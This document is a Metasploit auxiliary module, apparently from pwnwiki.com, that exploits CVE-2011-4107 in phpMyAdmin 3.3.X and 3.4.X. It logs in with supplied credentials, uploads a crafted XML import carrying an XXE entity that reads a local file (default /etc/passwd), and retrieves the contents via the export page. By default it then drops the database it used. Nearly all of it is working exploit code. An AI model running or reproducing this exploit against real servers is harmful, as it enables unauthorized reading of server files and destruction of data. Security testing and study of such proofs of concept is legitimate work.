pwnwiki.com
,
POC
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize
super(
'Name' => 'phpMyAdmin 3.3.X and 3.4.X - Local File Inclusion',
'Version' => '1.0',
'Description' => %q{CVE-2011-4107 PoC - Importing a specially-crafted XML file which contains an XML entity injection permits to retrieve a local file (limited by the privileges of the user running the web server).
The attacker must be logged in to MySQL via phpMyAdmin.
Works on Windows and Linux Versions 3.3.X and 3.4.X},
'References' =>
'CVE', '2011-4107' ,
'OSVDB', '76798' ,
'BID', '50497' ,
'URL', 'http://www.secforce.com/blog/2012/01/cve-2011-4107-poc-phpmyadmin-local-file-inclusion-via-xxe-injection',
,
'Author' => 'Marco Batista' ,
'License' => MSF_LICENSE
)
register_options(
Opt::RPORT(80),
OptString.new('FILE', true, "File to read", '/etc/passwd'),
OptString.new('USER', true, "Username", 'root'),
OptString.new('PASS', false, "Password", 'password'),
OptString.new('DB', true, "Database to use/create", 'hddaccess'),
OptString.new('TBL', true, "Table to use/create and read the file to", 'files'),
OptString.new('APP', true, "Location for phpMyAdmin URL", '/phpmyadmin'),
OptString.new('DROP', true, "Drop database after reading file?", 'true'),
,self.class)
end
def loginprocess
# HTTP GET TO GET SESSION VALUES
getresponse = send_request_cgi({
'uri' => datastore'APP'+'/index.php',
'method' => 'GET',
'version' => '1.1',
}, 25)
if (getresponse.nil?)
print_error("no response for #{ip}:#{rport}")
elsif (getresponse.code == 200)
print_status("Received #{getresponse.code} from #{rhost}:#{rport}")
elsif (getresponse and getresponse.code == 302 or getresponse.code == 301)
print_status("Received 302 to #{getresponse.headers'Location'}")
else
print_error("Received #{getresponse.code} from #{rhost}:#{rport}")
end
valuesget = getresponse.headers"Set-Cookie"
varsget = valuesget.split(" ")
#GETTING THE VARIABLES NEEDED
phpMyAdmin = varsget.grep(/phpMyAdmin/).last
pma_mcrypt_iv = varsget.grep(/pma_mcrypt_iv/).last
# END HTTP GET
# LOGIN POST REQUEST TO GET COOKIE VALUE
postresponse = send_request_cgi({
'uri' => datastore'APP'+'/index.php',
'method' => 'POST',
'version' => '1.1',
'headers' =>{
'Content-Type' => 'application/x-www-form-urlencoded',
'Cookie' => "#{pma_mcrypt_iv} #{phpMyAdmin}"
},
'data' => 'pma_username='+datastore'USER'+'&pma_password='+datastore'PASS'+'&server=1'
}, 25)
if (postresponse"Location".nil?)
print_status("TESTING#{postresponse.body.split("'").grep(/token/).first.split("=").last}")
tokenvalue = postresponse.body.split("'").grep(/token/).first.split("=").last
else
tokenvalue = postresponse"Location".split("&").grep(/token/).last.split("=").last
end
valuespost = postresponse.headers"Set-Cookie"
varspost = valuespost.split(" ")
#GETTING THE VARIABLES NEEDED
pmaUser = varspost.grep(/pmaUser-1/).last
pmaPass = varspost.grep(/pmaPass-1/).last
return "#{pma_mcrypt_iv} #{phpMyAdmin} #{pmaUser} #{pmaPass}",tokenvalue
# END OF LOGIN POST REQUEST
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, Rex::ConnectionError =>e
print_error(e.message)
rescue Timeout::Error, Errno::EINVAL, Errno::ECONNRESET, EOFError, Errno::ECONNABORTED, Errno::ECONNREFUSED, Errno::EHOSTUNREACH =>e
print_error(e.message)
end
def readfile(cookie,tokenvalue)
#READFILE TROUGH EXPORT FUNCTION IN PHPMYADMIN
getfiles = send_request_cgi({
'uri' => datastore'APP'+'/export.php',
'method' => 'POST',
'version' => '1.1',
'headers' =>{
'Cookie' => cookie
},
'data' => 'db='+datastore'DB'+'&table='+datastore'TBL'+'&token='+tokenvalue+'&single_table=TRUE&export_type=table&sql_query=SELECT+*+FROM+%60files%60&what=texytext&texytext_structure=something&texytext_data=something&texytext_null=NULL&asfile=sendit&allrows=1&codegen_structure_or_data=data&texytext_structure_or_data=structure_and_data&yaml_structure_or_data=data'
}, 25)
if (getfiles.body.split("\n").grep(/== Dumping data for table/).empty?)
print_error("Error reading the file... not enough privilege? login error?")
else
print_status("#{getfiles.body}")
end
end
def dropdatabase(cookie,tokenvalue)
dropdb = send_request_cgi({
'uri' => datastore'APP'+'/sql.php?sql_query=DROP+DATABASE+%60'+datastore'DB'+'%60&back=db_operations.php&goto=main.php&purge=1&token='+tokenvalue+'&is_js_confirmed=1&ajax_request=false',
'method' => 'GET',
'version' => '1.1',
'headers' =>{
'Cookie' => cookie
},
}, 25)
print_status("Dropping database: "+datastore'DB')
end
def run
cookie,tokenvalue = loginprocess()
print_status("Login at #{datastore'RHOST'}:#{datastore'RPORT'}#{datastore'APP'} using #{datastore'USER'}:#{datastore'PASS'}")
craftedXML = "------WebKitFormBoundary3XPL01T\n"
craftedXML << "Content-Disposition: form-data; name=\"token\"\n\n"
craftedXML << tokenvalue+"\n"
craftedXML << "------WebKitFormBoundary3XPL01T\n"
craftedXML << "Content-Disposition: form-data; name=\"import_type\"\n\n"
craftedXML << "server\n"
craftedXML << "------WebKitFormBoundary3XPL01T\n"
craftedXML << "Content-Disposition: form-data; name=\"import_file\"; filename=\"exploit.xml\"\n"
craftedXML << "Content-Type: text/xml\n\n"
craftedXML << "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n"
craftedXML << "<!DOCTYPE ficheiro \n"
craftedXML << " <!ENTITY conteudo SYSTEM \"file:///#{datastore'FILE'}\" > >\n"
craftedXML << "<pma_xml_export version=\"1.0\" xmlns:pma=\"http://www.phpmyadmin.net/some_doc_url/\">\n"
craftedXML << " <pma:structure_schemas>\n"
craftedXML << " <pma:database name=\""+datastore'DB'+"\" collation=\"utf8_general_ci\" charset=\"utf8\">\n"
craftedXML << " <pma:table name=\""+datastore'TBL'+"\">\n"
craftedXML << " CREATE TABLE `"+datastore'TBL'+"` (`file` varchar(20000) NOT NULL);\n"
craftedXML << " </pma:table>\n"
craftedXML << " </pma:database>\n"
craftedXML << " </pma:structure_schemas>\n"
craftedXML << " <database name=\""+datastore'DB'+"\">\n"
craftedXML << " <table name=\""+datastore'TBL'+"\">\n"
craftedXML << " <column name=\"file\">&conteudo;</column>\n"
craftedXML << " </table>\n"
craftedXML << " </database>\n"
craftedXML << "</pma_xml_export>\n\n"
craftedXML << "------WebKitFormBoundary3XPL01T\n"
craftedXML << "Content-Disposition: form-data; name=\"format\"\n\n"
craftedXML << "xml\n"
craftedXML << "------WebKitFormBoundary3XPL01T\n"
craftedXML << "Content-Disposition: form-data; name=\"csv_terminated\"\n\n"
craftedXML << ",\n\n"
craftedXML << "------WebKitFormBoundary3XPL01T--"
print_status("Grabbing that #{datastore'FILE'} you want...")
res = send_request_cgi({
'uri' => datastore'APP'+'/import.php',
'method' => 'POST',
'version' => '1.1',
'headers' =>{
'Content-Type' => 'multipart/form-data; boundary=----WebKitFormBoundary3XPL01T',
'Cookie' => cookie
},
'data' => craftedXML
}, 25)
readfile(cookie,tokenvalue)
if (datastore'DROP' == "true")
dropdatabase(cookie,tokenvalue)
else
print_status("Database was not dropped: "+datastore'DB')
end
end
end
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